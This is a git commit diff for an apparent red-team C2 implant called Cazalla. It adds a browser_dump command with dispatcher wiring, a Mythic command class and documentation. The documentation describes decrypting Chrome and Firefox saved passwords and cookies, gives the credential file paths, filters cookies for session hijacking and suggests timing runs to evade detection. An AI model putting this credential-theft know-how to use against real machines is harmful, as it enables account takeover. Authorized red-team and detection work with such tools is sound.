Browser dump (chrome,firefox) implemented

2025-12-03 09:28:34 +01:00
parent f57850f243
commit e688609c0e
18 changed files with 280387 additions and 4 deletions
@@ -3,8 +3,8 @@ CC = x86_64-w64-mingw32-gcc

 # Base flags
 CFLAGS = -Wall -w -IInclude
-LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -mwindows
-LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion
+LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -mwindows
+LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32

 # Debug parameters (can be overridden from command line)
 # DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
@@ -0,0 +1,16 @@
+#pragma once
+
+#ifndef BROWSER_DUMP_H
+#define BROWSER_DUMP_H
+
+#include "analizador.h"
+#include "paquete.h"
+
+// Browser dump command code (must match translator)
+#define BROWSER_DUMP_CMD  0x41
+
+// Forward declarations
+VOID DumparNavegador(PAnalizador argumentos);
+
+#endif
+
@@ -179,6 +179,10 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
            _inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
            IdentificarNavegadores(analizadorTarea);
            _inf("===== BROWSER_INFO_CMD COMPLETED =====");
+        } else if (tarea == BROWSER_DUMP_CMD) {
+            _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
+            DumparNavegador(analizadorTarea);
+            _inf("===== BROWSER_DUMP_CMD COMPLETED =====");
        } else {
            _wrn("Tarea desconocida: 0x%02x", tarea);
            _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
@@ -15,6 +15,7 @@
 #include "tokens.h"
 #include "rpfwd_manager.h"
 #include "browser_info.h"
+#include "browser_dump.h"

 #define SHELL_CMD 0x54
 #define GET_TASKING 0x00
@@ -59,6 +60,9 @@
 /* Browser information command */
 #define BROWSER_INFO_CMD  0x40

+/* Browser dump command */
+#define BROWSER_DUMP_CMD  0x41
+
 /* Extension marker to carry SOCKS array in binary messages */
 #define SOCKS_BLOCK_MARKER 0xF5
 /* Extension marker to carry RPFWD array in binary messages */
@@ -14,6 +14,7 @@
 #define KILL_CMD          0x37

 // Forward declarations
+BOOL EnableSeDebugPrivilege(VOID);
 VOID ListarTokens(PAnalizador argumentos);
 VOID RobarToken(PAnalizador argumentos);
 VOID CrearToken(PAnalizador argumentos);
@@ -0,0 +1,149 @@
+from mythic_container.MythicCommandBase import *
+from mythic_container.MythicRPC import *
+import json
+
+
+class BrowserDumpArguments(TaskArguments):
+    def __init__(self, command_line, **kwargs):
+        super().__init__(command_line, **kwargs)
+        self.args = [
+            CommandParameter(
+                name="browser",
+                type=ParameterType.ChooseOne,
+                description="Browser to dump (cookies, logins, and bookmarks)",
+                choices=["chrome", "firefox"],
+                parameter_group_info=[ParameterGroupInfo(
+                    required=True,
+                    ui_position=1
+                )]
+            ),
+        ]
+
+    async def parse_arguments(self):
+        if len(self.command_line) == 0:
+            raise ValueError("Must supply a browser name: chrome or firefox")
+        
+        browser = self.command_line.strip().lower()
+        valid_browsers = ["chrome", "firefox"]
+        
+        if browser not in valid_browsers:
+            raise ValueError(f"Invalid browser. Must be one of: {', '.join(valid_browsers)}")
+        
+        self.add_arg("browser", browser)
+
+    async def parse_dictionary(self, dictionary_arguments):
+        self.load_args_from_dictionary(dictionary_arguments)
+
+
+class BrowserDumpCommand(CommandBase):
+    cmd = "browser_dump"
+    needs_admin = False
+    help_cmd = "browser_dump <browser>"
+    description = "Dump cookies, saved logins (passwords), and bookmarks from the specified browser. Supports Chrome and Firefox. Extracts encrypted credentials and decrypts them using browser-specific methods. Automatically reports extracted credentials to Mythic's credential store. HIGH OPSEC RISK: This command accesses browser credential stores which are heavily monitored by EDR/XDR solutions. Browser credential access is a common indicator of credential theft attacks."
+    version = 1
+    author = "Kaseya OFSTeam"
+    attackmapping = ["T1555", "T1539"]
+    argument_class = BrowserDumpArguments
+    attributes = CommandAttributes(
+        supported_os=[SupportedOS.Windows]
+    )
+
+    async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
+        """
+        OPSEC check before creating the task.
+        Browser credential dumping is highly detectable.
+        """
+        browser = taskData.args.get_arg("browser") or ""
+        browser_lower = browser.lower()
+        
+        message = "🚨 HIGH OPSEC RISK - Browser Credential Dumping\n\n"
+        message += f"Target Browser: {browser.upper()}\n\n"
+        message += "This command will:\n"
+        message += "  • Access browser credential databases (SQLite files)\n"
+        message += "  • Read encrypted password stores\n"
+        message += "  • Decrypt browser-protected credentials\n"
+        message += "  • Extract cookies, saved passwords, and bookmarks\n\n"
+        
+        message += "🔍 DETECTION RISKS:\n"
+        message += "  • EDR/XDR solutions monitor browser credential access\n"
+        message += "  • File access to browser databases triggers alerts\n"
+        message += "  • Credential theft detection rules (MITRE T1555)\n"
+        message += "  • Behavioral analysis detects credential extraction patterns\n"
+        message += "  • Elastic Security detects unsigned processes accessing browser stores\n\n"
+        
+        message += "⚠️ HIGH DETECTION PROBABILITY:\n"
+        message += "  • Browser credential access is a primary indicator of attack\n"
+        message += "  • Many security tools have specific rules for this activity\n"
+        message += "  • File access patterns are logged and monitored\n\n"
+        
+        message += "💡 CONSIDERATIONS:\n"
+        message += "  • This activity is commonly detected within minutes\n"
+        message += "  • Consider timing (off-hours may reduce detection)\n"
+        message += "  • Ensure you have proper authorization\n"
+        message += "  • Alternative: Use browser_info first to identify available browsers\n\n"
+        
+        message += "✅ This command requires approval from another operator."
+        
+        return PTTTaskOPSECPreTaskMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+            OpsecPreBlocked=True,  # Block by default
+            OpsecPreBypassRole="other_operator",  # Requires another operator to approve
+            OpsecPreMessage=message
+        )
+
+    async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
+        """
+        OPSEC check after creating the task.
+        Warns about artifacts that will be created.
+        """
+        browser = taskData.args.get_arg("browser") or ""
+        
+        message = "🚨 OPSEC POST-CHECK - Browser Credential Dumping Artifacts\n\n"
+        message += f"Target Browser: {browser.upper()}\n\n"
+        message += "This task will create the following artifacts:\n"
+        message += "  • File Read: Browser credential database access\n"
+        message += "  • File Read: Browser Local State file (for Chromium browsers)\n"
+        message += "  • File Read: Browser profiles.ini (for Firefox)\n"
+        message += "  • Credential Access: Browser password store access\n"
+        message += "  • Credential Extraction: Decrypted credentials reported to Mythic\n\n"
+        
+        message += "🔍 DETECTION RISKS:\n"
+        message += "  • EDR/XDR file access monitoring\n"
+        message += "  • Credential theft detection rules\n"
+        message += "  • Behavioral analysis (credential extraction patterns)\n"
+        message += "  • File access auditing (if enabled)\n\n"
+        
+        message += "⚠️ CRITICAL DETECTION PROBABILITY:\n"
+        message += "  • Browser credential access is heavily monitored\n"
+        message += "  • Detection is likely within minutes\n"
+        message += "  • Multiple security layers may trigger alerts\n\n"
+        
+        message += "✅ This is a FINAL WARNING - task will proceed if approved.\n"
+        message += "Ensure you understand the detection risks before continuing."
+        
+        return PTTTaskOPSECPostTaskMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+            OpsecPostBlocked=False,  # Don't block, just warn
+            OpsecPostBypassRole="operator",
+            OpsecPostMessage=message
+        )
+
+    async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
+        response = PTTaskCreateTaskingMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+        )
+        browser = taskData.args.get_arg("browser") or ""
+        response.DisplayParams = f"browser: {browser}"
+        return response
+
+    async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
+        """
+        Process response from agent.
+        The response contains dumped browser data (cookies, logins, bookmarks).
+        """
+        resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
+        return resp
+
@@ -30,6 +30,8 @@ commands = {
    "kill": {"hex_code": 0x37, "input_type": "string"},
    # Browser information command
    "browser_info": {"hex_code": 0x40, "input_type": None},
+    # Browser dump command
+    "browser_dump": {"hex_code": 0x41, "input_type": "string"},
    # Added SOCKS control commands
    "start_socks": {"hex_code": 0x60, "input_type": "int"},
    "stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -206,6 +206,7 @@ For more information, see the [Mythic documentation on customizing public agents
 |---------|-------------|---------|
 | `ps` | List running processes with Process Browser support | `ps` |
 | `browser_info` | Identify installed browsers and default browser | `browser_info` |
+| `browser_dump` | Dump cookies (display only), passwords, and bookmarks from browsers (Chrome, Firefox) | `browser_dump chrome` |
 | `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` |
 | `keylog_start` | Start keystroke logging | `keylog_start` |
 | `keylog_stop` | Stop keystroke logging | `keylog_stop` |
@@ -48,9 +48,10 @@ Cazalla provides essential post-exploitation capabilities including:
 - `socks` - Start/stop SOCKS5 proxy
 - `rpfwd` - Start/stop reverse port forwarding

-### System Operations (5 commands)
+### System Operations (6 commands)
 - `shell` - Execute shell commands
 - `browser_info` - Identify installed browsers
+- `browser_dump` - Dump browser credentials
 - `screenshot` - Capture desktop screenshot
 - `keylog_start` - Start keylogger
 - `keylog_stop` - Stop keylogger
@@ -955,6 +955,65 @@ Path: C:\Program Files\Google\Chrome\Application\chrome.exe

 ---

+### `browser_dump` - Dump Browser Credentials
+
+Extract cookies, saved passwords, and bookmarks from web browsers.
+
+**Syntax:**
+```
+browser_dump <browser>
+```
+
+**Parameters:**
+- `browser` (required): Browser to dump. Must be one of: `chrome`, `firefox`
+
+**Examples:**
+```
+browser_dump chrome
+browser_dump firefox
+```
+
+**Features:**
+- Supports Chrome and Firefox
+- Extracts cookies (display only), saved passwords, and bookmarks
+- Automatically decrypts browser-protected credentials
+- Reports saved passwords to Mythic's credential store (cookies are NOT stored)
+- Smart cookie filtering: Only shows session cookies useful for authentication
+- HIGH OPSEC RISK: Browser credential access is heavily monitored
+
+**Output:**
+```
+============================================
+||               Cookies                  ||
+============================================
+
+- URL: example.com
+- Cookie: session_id=abc123...
+
+============================================
+||              Saved logins              ||
+============================================
+
+- URL: https://example.com
+- Username: user@example.com
+- Password: mypassword123
+```
+
+**Credential Reporting:**
+- **Passwords**: Automatically saved to Mythic's credential store
+- **Cookies**: Displayed in output but NOT stored as credentials
+
+**OPSEC Considerations:**
+- HIGH DETECTION RISK - Browser credential access is heavily monitored
+- EDR/XDR solutions have specific detection rules
+- File access to browser databases triggers alerts
+- Detection is likely within minutes
+- Always requires approval from another operator
+
+**Related:** [Browser Information Command](commands/browser_info.md), [Detailed Documentation](commands/browser_dump.md)
+
+---
+
 ## Control Commands

 ### `sleep` - Adjust Beacon Interval
@@ -0,0 +1,169 @@
+# browser_dump - Dump Browser Credentials
+
+Extract cookies, saved passwords (logins), and bookmarks from web browsers.
+
+## Description
+
+The `browser_dump` command extracts encrypted credentials from web browsers and decrypts them using browser-specific methods. It supports **Chrome** and **Firefox** browsers. 
+
+**Important:** Only saved passwords (logins) are automatically reported to Mythic's credential store. Cookies are displayed in the output for manual use but are **NOT** stored as credentials.
+
+## Syntax
+
+```
+browser_dump <browser>
+```
+
+## Parameters
+
+- `browser` (required): Browser to dump. Must be one of: `chrome`, `firefox`
+
+## Examples
+
+```
+browser_dump chrome
+browser_dump firefox
+```
+
+## Features
+
+- **Browser Support**: Chrome, Firefox
+- **Credential Extraction**: Cookies (display only), saved passwords, and bookmarks
+- **Automatic Decryption**: Decrypts browser-protected credentials
+- **Credential Reporting**: Automatically reports saved passwords to Mythic (cookies are NOT stored)
+- **Artifact Tracking**: Reports credential access artifacts
+- **Profile Support**: Firefox supports multiple profiles
+- **Smart Cookie Filtering**: Only shows session cookies useful for authentication/impersonation (filters out tracking cookies)
+
+## Output
+
+The command outputs three sections:
+
+### Cookies
+```
+============================================
+||               Cookies                  ||
+============================================
+
+- URL: example.com
+- Path: /
+- Name: session_id
+- Cookie: abc123def456...
+```
+
+**Note:** Cookies are displayed in the output but are **NOT** saved to Mythic's credential store. They are shown for manual use in session hijacking scenarios.
+
+### Bookmarks
+```
+============================================
+||               Bookmarks                ||
+============================================
+
+- Name: GitHub
+- URL: https://github.com
+```
+
+### Saved Logins
+```
+============================================
+||              Saved logins              ||
+============================================
+
+- URL: https://example.com
+- Username: user@example.com
+- Password: mypassword123
+```
+
+## Credential Reporting
+
+**Only saved passwords (logins) are automatically reported to Mythic:**
+
+- **Passwords**: Reported as `plaintext` credential type
+- **Realms**: Automatically extracted from URLs (domain names)
+- **Cookies**: **NOT** stored as credentials (displayed in output only)
+
+Credentials appear in Mythic's Credentials page (click the key icon in the UI).
+
+## Cookie Filtering
+
+The command intelligently filters cookies to show only those useful for authentication and session hijacking:
+
+- **Chrome**: Only session cookies (no expiration) without security flags (HttpOnly, Secure)
+- **Firefox**: Session cookies or authentication-related cookies (filters out tracking cookies)
+
+Tracking cookies and cookies with security flags are excluded from the output.
+
+## Technical Details
+
+### Chrome (Chromium-based)
+
+1. **App-Bound Key Extraction**: Reads `Local State` file and extracts the app-bound encryption key
+2. **Key Decryption**: Decrypts the app-bound key using DPAPI (as SYSTEM and user)
+3. **Data Decryption**: Decrypts cookies and passwords using AES-256-GCM
+4. **Database Access**: Reads SQLite databases (`Cookies`, `Login Data`)
+
+### Firefox
+
+1. **Profile Detection**: Reads `profiles.ini` to find all Firefox profiles
+2. **Database Access**: Directly reads SQLite databases (`cookies.sqlite`, `places.sqlite`, `logins.json`)
+3. **Password Decryption**: Decrypts saved passwords using master key derivation
+4. **Cookie Storage**: Firefox stores cookies in plaintext (no decryption needed)
+
+## File Paths
+
+### Chrome
+- Cookies: `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies`
+- Logins: `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data`
+- Bookmarks: `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Bookmarks`
+- Local State: `%LOCALAPPDATA%\Google\Chrome\User Data\Local State`
+
+### Firefox
+- Profiles: `%APPDATA%\Mozilla\Firefox\profiles.ini`
+- Cookies: `%APPDATA%\Mozilla\Firefox\Profiles\<profile>\cookies.sqlite`
+- Logins: `%APPDATA%\Mozilla\Firefox\Profiles\<profile>\logins.json`
+- Bookmarks: `%APPDATA%\Mozilla\Firefox\Profiles\<profile>\places.sqlite`
+
+## OPSEC Considerations
+
+- **HIGH DETECTION RISK**: Browser credential access is heavily monitored
+- **EDR/XDR Detection**: Most security tools have specific rules for this activity
+- **File Access Monitoring**: Access to browser databases triggers alerts
+- **Credential Theft Indicators**: This is a primary indicator of attack (MITRE T1555)
+- **Elastic Security**: Detects unsigned processes accessing browser stores
+- **Detection Timeframe**: Detection is likely within minutes
+
+### Detection Mechanisms
+
+- File access to browser credential databases
+- Access to `Local State` files (Chrome)
+- Access to `profiles.ini` (Firefox)
+- Behavioral analysis (credential extraction patterns)
+- Credential theft detection rules
+
+### Best Practices
+
+- Use `browser_info` first to identify available browsers
+- Consider timing (off-hours may reduce detection)
+- Ensure proper authorization before use
+- Always requires approval from another operator
+- Alternative: Manual extraction may have lower detection risk
+
+## Artifacts
+
+The command automatically reports the following artifacts:
+
+- **Credential Access**: Browser credential database access (Cookies, Login Data)
+- **File Read**: Browser Local State file access (Chrome)
+- **File Read**: Browser profiles.ini access (Firefox)
+
+## Related
+
+[Browser Information Command](browser_info.md) - Identify installed browsers  
+[Credentials Support](../../../features.md#credentials-support)  
+[OPSEC Guide](../../../opsec.md)
+
+---
+
+**Command Category:** System Operations  
+**Requires Admin:** No (but may need SYSTEM token for Chrome key decryption)  
+**MITRE ATT&CK:** [T1555 - Credentials from Password Stores](https://attack.mitre.org/techniques/T1555/), [T1539 - Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/), [T1081 - Credentials in Files](https://attack.mitre.org/techniques/T1081/)
@@ -43,6 +43,9 @@ ps
 # Identify installed browsers
 browser_info

+# Dump browser credentials (requires approval)
+browser_dump chrome
+
 # Check current directory contents
 ls C:\Users
 ```
@@ -466,6 +466,41 @@ Path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

 For detailed information, see [browser_info command documentation](commands/browser_info.md).

+#### `browser_dump`
+
+Extracts cookies, saved passwords, and bookmarks from web browsers.
+
+**Supported Browsers:**
+- Google Chrome
+- Mozilla Firefox
+
+**Extracted Data:**
+- Cookies with decrypted values (display only, NOT stored as credentials)
+- Saved passwords (logins) with usernames
+- Bookmarks with URLs
+
+**Credential Reporting:**
+- **Passwords**: Automatically saved to Mythic's credential store as `plaintext` credential type
+- **Cookies**: Displayed in output but NOT stored as credentials (for manual use only)
+- Realms automatically extracted from URLs
+
+**Cookie Filtering:**
+- Only shows session cookies useful for authentication/impersonation
+- Filters out tracking cookies and cookies with security flags
+
+**OPSEC Considerations:**
+- HIGH DETECTION RISK - Browser credential access is heavily monitored
+- EDR/XDR solutions have specific detection rules
+- File access to browser databases triggers alerts
+- Always requires approval from another operator
+
+**Example:**
+```
+browser_dump chrome
+```
+
+For detailed information, see [browser_dump command documentation](commands/browser_dump.md).
+
 ---

 ## OPSEC Checking
@@ -486,7 +521,7 @@ Cazalla includes comprehensive OPSEC Checking functionality that provides operat

 ### Commands with OPSEC Checking

- **High-Risk Commands (Blocking)**: `shell`, `steal_token`, `kill`, `keylog_start`, `rm` (system files)
+- **High-Risk Commands (Blocking)**: `shell`, `steal_token`, `kill`, `keylog_start`, `rm` (system files), `browser_dump`
 - **Warning-Only Commands**: `screenshot`, `rpfwd`, `socks`, `download`, `upload`, `make_token`, `browser_info`, etc.

 ### Bypass Roles
@@ -149,6 +149,12 @@ browser_info

 This identifies installed web browsers and the default browser.

+```
+browser_dump chrome
+```
+
+This extracts cookies, saved passwords, and bookmarks from Chrome (requires approval).
+
 ```
 whoami
 ```
@@ -350,6 +350,11 @@ Built-in Cazalla commands:
 - **Detection**: Registry reads may be logged if auditing enabled
 - **Best Practice**: Read-only operation, safe for information gathering

+#### `browser_dump`
+- **Risk**: HIGH
+- **Detection**: Browser credential access is heavily monitored by EDR/XDR
+- **Best Practice**: Use only when necessary, always requires approval, consider timing
+
 #### `screenshot`
 - **Risk**: HIGH
 - **Detection**: Screen capture detection, behavioral analysis